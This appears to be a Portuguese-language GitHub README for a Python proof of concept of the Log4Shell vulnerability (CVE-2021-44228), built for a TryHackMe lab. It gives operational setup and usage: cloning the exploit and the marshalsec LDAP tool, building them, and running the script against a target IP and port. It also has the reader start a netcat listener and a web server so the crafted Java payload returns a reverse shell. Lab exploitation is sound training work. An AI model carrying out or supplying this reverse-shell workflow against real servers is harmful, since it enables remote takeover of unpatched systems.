
Prova de conceito em Python para CVE-2021-44228 (Log4Shell) que automatiza a exploração por meio de um payload Java elaborado, com opções de argparse para requisições GET personalizáveis e entrega de shell reverso.
Este script Python foi criado enquanto eu trabalhava na sala TryHackMe para Log4j. Embora tenha sido criado com variáveis padrão para esta sala, usei argparse para tornar o script versátil para uma requisição GET. Todas as variáveis necessárias podem ser alteradas com diferentes opções, veja -h para mais informações.
Apenas meu script está hospedado aqui; isso requer dois outros downloads para funcionar corretamente, para os quais fornecerei links, mas configurar as pastas da maneira que eu fiz permitirá que o script seja executado sem muito esforço. Primeiro, crie uma pasta log4j (ou o nome que quiser), depois faça git clone deste repositório e mova o poc.py para /log4j/.
git clone https://github.com/ab0x90/CVE-2021-44228_PoC.git
Em seguida, clone o marshalsec no mesmo diretório que você acabou de criar. E depois compile-o usando o Maven.
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
Por fim, você precisará baixar alguma versão do Java 8. Para este script, o valor padrão para -j é 'jdk1.8.0_20'.
O novo diretório deve ficar assim quando tudo for extraído.
kali@kali-[~/tools/Exploits/log4j]$ls -al
total 338448
drwxr-xr-x 5 kali kali 4096 Dec 14 15:22 .
drwx------ 3 kali kali 4096 Dec 14 14:34 ..
drwxr-xr-x 8 kali kali 4096 Jul 30 2014 jdk1.8.0_20
drwxr-xr-x 5 kali kali 4096 Dec 14 14:40 marshalsec
-rw-r--r-- 1 kali kali 2781 Dec 14 16:02 poc.py
Após esta configuração estar completa. Observe que, se você quiser ou precisar usar uma versão diferente do Java, isso pode ser feito usando -j NAME_OF_JAVA_FOLDER.
Menu de Ajuda

Incluído no script está o payload fornecido na sala THM, altere o IP/porta para o que quiser usar.

Inicie um listener netcat para capturar o shell na porta especificada no java_payload.
Inicie um servidor web Python na porta 8000
Exemplo de comando:
python3 poc.py -l 10.6.20.239 -i 10.10.64.53 -p 8983
Exemplo de saída e reverse shell:
